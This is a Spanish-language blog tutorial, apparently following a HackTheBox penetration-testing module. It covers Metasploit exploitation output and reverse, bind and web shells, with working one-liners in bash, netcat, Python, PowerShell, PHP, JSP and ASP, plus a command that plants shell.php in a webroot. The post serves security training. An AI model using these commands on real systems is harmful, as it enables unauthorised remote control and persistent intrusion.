[+] 10.10.10.40:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.40:49159) at 2020-12-27 01:13:28 +0000
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 39640 created.
Channel 0 created.
Windows 7 Professional 7601 Service Pack 1
(C) Copyright 1985-2009 Microsoft Corp.
C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
Como podemos observar, hemos podido obtener acceso de administrador y hemos usado el comando shell para acceder a una shell interactiva. Estos son ejemplos básicos del uso de Metasploit para explotar una vulnerabilidad en un servidor remoto.
Metasploit es una de esas herramientas imprescindibles en nuestro kit de herramientas, pero también es crucial no confiar solo en ella. Para estar bien formados, debemos saber cómo sacar provecho a todas las herramientas que tenemos disponibles, comprender por qué a veces fallan y saber cuándo pivotar a técnicas manuales o a otras herramientas.
Tipos de Shells
Una vez hemos comprometido un sistema y explotado una vulnerabilidad para ejecutar comandos remotamente en dicho sistema, necesitaremos un método de comunicación con el sistema para no tener que andar explotando la misma vulnerabilidad a la hora de ejecutar cada comando. Para enumerar el sistema o tomar el control del mismo o de su red, necesitamos una conexión fiable que nos dé acceso directo a la shell del sistema (Bash, PowerShell), por lo que hemos de investigar el sistema remoto para seguir adelante.
Una forma de conectar a un sistema comprometido es a través de los protocolos de red como SSH o WinRM, los cuales pueden permitirnos un acceso remoto al sistema comprometido. Sin embargo, a no ser que obtengamos un conjunto de credenciales válidas, no podremos utilizar estos métodos sin antes ejecutar algunos comandos en el sistema remoto.
El otro método de acceso es a través de las shells. Como ya hemos visto, existen tres tipos principales de shell: Shell Reversa, Shell Vinculada y Shell de Web.
Shell Reversa
Es el tipo más común, así como el método más rápido y sencillo de obtener el control sobre un host comprometido. Una vez identificada una vulnerabilidad en el host remoto que permita la ejecución remota de código, podemos iniciar netcat en nuestra máquina para que escuche en un puerto específico, por ejemplo el 1234. Con este listener activado, podemos ejecutar un comando de shell reversa que conecte la shell del sistema remoto a nuestro netcat, lo cual nos dará una conexión reversa sobre el sistema remoto.
Netcat
El primer paso es iniciar netcat en un puerto de nuestra elección:
user@htb[/htb]$ nc -lvnp 1234
listening on [any] 1234 ...
Los modificadores usados son:
- -l: modo escucha, para esperar a que una conexión nos llegue
- -v: modo verbose, muestra cuándo hemos recibido la conexión
- -n: deshabilita la resolución DNS y solo conecta desde/a IPs, para aumentar la velocidad de conexión
- -p 1234: puerto por el que escucha netcat y al que debe ser enviada la conexión reversa
Una vez tenemos a netcat a la espera, podemos ejecutar el comando de shell reversa que conectará con nuestra máquina.
IP de conexión devuelta
Sin embargo, primero necesitamos conocer la IP de nuestro sistema para enviar una conexión de vuelta a nosotros. Podemos encontrar nuestra IP con el comando:
user@htb[/htb]$ ip a
...SNIP...
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 10.10.10.10/23 scope global tun0
...SNIP...
Nota: Estamos conectando a la IP en ‘tun0’ porque solo podemos conectar a las máquinas de HTB por la conexión VPN, ya que éstas no tienen conexión a Internet, y por lo tanto no pueden conectar a nosotros desde Internet usando ‘eth0’. En un pentest real, es posible que conectes directamente a la misma red o que realices la prueba de forma externa, por lo que seguramente conectarás a través del adaptador ‘eth0’ o similar.
Comando de shell reversa
El comando dependerá del sistema operativo del host comprometido y de a qué aplicaciones y comandos podemos acceder. La página de Payload All The Things contiene una buena lista de comandos de shell reversa que podemos utilizar para cubrir un amplio rango de opciones dependiento del host comprometido.
Ciertos comandos de shell reversa son más fiables que otros y se usan más a menudo para intentar la conexión reversa. Los comandos siguientes son algunos de los que podemos usar para conseguir una conexión reversa:
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Podemos utilizar el exploit que tenemos sobre el host remoto para ejecutar uno de los comandos de arriba, por ejemplo, con un exploit en Python o con el módulo de Metasploit, para obtener una shell reversa. Una vez hecho, deberíamos recibir una conexión en nuestro netcat:
user@htb[/htb]$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.1] 41572
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Como se puede ver, después de recibir la conexión en nuestro listener, ya podemos escribir nuestros comandos y directamente estos se ejecutarán en la máquina remota.
Una Shell Reversa es útil cuando queremos una conexión rápida y fiable con el host comprometido. Sin embargo, la Shell Reversa puede ser muy frágil. Una vez perdida la conexión por el motivo que sea, hemos de usar de nuevo el exploit inicial para ejecutar el comando de shell reversa de nuevo para recuperar nuestro acceso.
Shell Vinculada
A diferencia de la Shell Reversa que conecta con nosotros, seremos nosotros quienes conectemos con el puerto en escucha del objetivo.
Una vez ejecutado un comando de Shell Vinculada, iniciará la escucha en un puerto del host remoto y vinculará la shell de ese host con ese puerto. Hemos de conectar a ese puerto con netcat y obtendremos el control a través de una shell en ese sistema.
Comando de shell vinculada
De nuevo, podemos usar la página Payload All The Things para encontrar el comando apropiado para iniciar nuestra shell vinculada.
Nota: iniciaremos una conexión a la escucha en el puerto ‘1234’ en el host remoto con la IP ‘0.0.0.0’ por lo que podremos conectar a él desde donde sea.
Estos son comandos fiables para obtener este tipo de shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
Conexión con netcat
Una vez hemos ejecutado el comando de la shell vinculada, deberíamos tener una shell esperándonos en el puerto especificado. Ahora podemos conectarnos a ella.
Podemos usar netcat para conectar a ese puerto y obtener conexión a la shell:
user@htb[/htb]$ nc 10.10.10.1 1234
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Como vemos aquí, se nos lleva directamente a una sesión de bash y podemos interactuar con el sistema objetivo de forma directa. A diferencia de la Shell Reversa, si perdemos nuestra conexión a una shell vinculada por cualquier motivo, podemos volver a conectar y obtener una nueva conexión inmediatamente. Sin embargo, si la shell vinculada se para por alguna razón, o si el host remoto es reiniciado, continuaríamos perdiendo el acceso al host remoto y habremos de usar el exploit de nuevo para obtener acceso.
Actualizando TTY
Una vez conectados a la shell a través de netcat, podemos ver que solo es posible escribir comandos o eliminar caracteres, pero no podemos mover el cursor a la izquierda o derecha para editar nuestros comandos, ni podemos ir arriba y abajo en el historial de comandos. Para poder hacerlo, necesitamos actualizar nuestro TTY. Esto se hace mapeando nuestro TTY de la terminal con el TTY remoto.
Existen múltiples formas de hacer esto. Nosotros usaremos el método python/stty. En nuestra shell de netcat, usaremos el siguiente comando para hacer que python actualice nuestra shell a un TTY completo:
user@htb[/htb]$ python -c 'import pty; pty.spawn("/bin/bash")'
Después de ejecutar este comando, pulsaremos ‘ctrl + z’ para mandar nuestra shell a segundo plano y recuperar nuestra terminal local, e introduciremos el siguiente comando de stty:
www-data@remotehost$ ^Z
user@htb[/htb]$ stty raw -echo
user@htb[/htb]$ fg
[Enter]
[Enter]
www-data@remotehost$
Una vez pongamos fg, nos devolverá nuestra shell de netcat a primer plano. En este punto, la terminal mostrará una línea en blanco. Podemos pulsar enter de nuevo para volver a nuestra shell o escribir reset para traerla de vuelta. Aquí tendríamos una shell TTY completamente funcional con historial de comandos y todo lo demás.
Nótese que nuestra shell no cubre la terminal por completo. Para arreglar esto, necesitamos algunas variables. Podemos abrir otra ventana de terminal en nuestro sistema, maximizar las ventanas o usar cualquier tamaño que queramos, y entonces introducir los siguientes comandos para obtener nuestras variables:
user@htb[/htb]$ echo $TERM
xterm-256color
user@htb[/htb]$ stty size
67 318
El primer comando que se nos muestra es la variable TERM, y el segundo muestra los valores para rows y columns, respectivamente. Ahora que tenemos nuestras variables, podemos volver a nuestro netcat y usar el siguiente comando para corregirlas:
www-data@remotehost$ export TERM=xterm-256color
www-data@remotehost$ stty rows 67 columns 318
Hecho esto, deberíamos tener una shell de netcat que use la terminal con todas sus características, justo como una conexión SSH.
Shell de Web
El último tipo de shell es la Shell de Web. Normalmente se trata de un script web (PHP o ASPX), que acepta nuestro comando a través de los parámetros de una petición HTTP, ya sea GET o POST, ejecuta el comando e imprime su salida en la página web.
Escribiendo una Shell de Web
Necesitamos escribir nuestra shell de web que tome nuestro comando a partir de una petición GET, lo ejecute e imprima su salida. Un script de este tipo suele estar formado por una línea, es muy corto y puede ser memorizado fácilmente. Lo que sigue son algunos scripts cortos para lenguajes comunes:
<?php system($_REQUEST["cmd"]); ?>
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
<% eval request("cmd") %>
Subiendo una shell de web
Una vez tenemos la shell, necesitamos colocar nuestro script en el directorio web de nuestro host remoto (webroot) para ejecutar el script mediante el navegador web. Esto se puede hacer por medio de una vulnerabilidad en una característica de la subida, la cual nos permite escribir una de nuestras shells a un archivo (shell.php) y subirlo, y entonces acceder a nuestro archivo subido para ejecutar comandos.
Sin embargo, si solo tenemos la ejecución de comandos remotos por medio del exploit, podemos escribir nuestra shell directamente en el webroot para aceder a la web. El primer paso es identificar dónde está el webroot. Lo que sigue son los webroots por defecto de los servidores web más comunes:
Servidor Web | Webroot por defecto |
---|---|
Apache | /var/www/html/ |
Nginx | /usr/local/nginx/html/ |
IIS | c:\inetpub\wwwroot\ |
XAMPP | C:\xampp\htdocs\ |
Podemos comprobar estos directorios para ver qué webroot está en uso y después usar echo para mandar nuestra shell. Por ejemplo, si estamos atacando un host Linux que corra Apache, podemos escribir una shell en PHP con el siguiente comando:
echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php
Accediendo a la shell de web
Una vez escrita nuestra shell, podemos acceder ya sea desde el navegador o mediante el uso de *cURL*. Visitamos la página *shell.php* en el sitio web comprometido, y usamos *?cmd=id* para ejecutar el comando *id*:

Otra opción es el uso de cURL:
user@htb[/htb]$ curl http://SERVER_IP:PORT/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Como se puede ver, podemos cambiar el comando para obtener su salida. Una ventaja de la shell de web es que se saltaría cualquier restricción de cortafuegos, ya que no abrirá una nueva conexión en un puerto sino en el puerto web, ya sea el 80 o el 443, o el que esté utilizando la aplicación web. Otra ventaja es que si el host comprometido se reinicia, la shell seguirá en su sitio, y podemos acceder a ella y obtener ejecución de comandos sin utilizar exploits de nuevo.
Por otro lado, una shell de web no es tan interactiva como la reversa y la vinculada, ya que hemos de seguir solicitando distintas URL para ejecutar comandos. En casos extremos, se puede automatizar con un script de Python este proceso y darnos una shell de web semi-interactiva dentro de nuestra terminal.
Conclusiones
Y hasta aquí la segunda parte de este módulo. Aún queda más por enseñaros sobre él, pero eso lo dejo para siguientes entregas, ya que, como dije anteriormente, se trata de un módulo realmente largo. Próximamente veremos el tema de la escalada de privilegios y cómo se resuelve la máquina Nibbles de HackTheBox.
No dudéis en preguntarme lo que sea y en recomendar este blog a vuestros conocidos y familiares, quizás a alguno de ellos le pueda ser útil lo que explico aquí (nunca se sabe).
También podéis encontrarme en el instagram de @larutadelhacker, donde voy publicando algunas noticias y tips sobre ciberseguridad.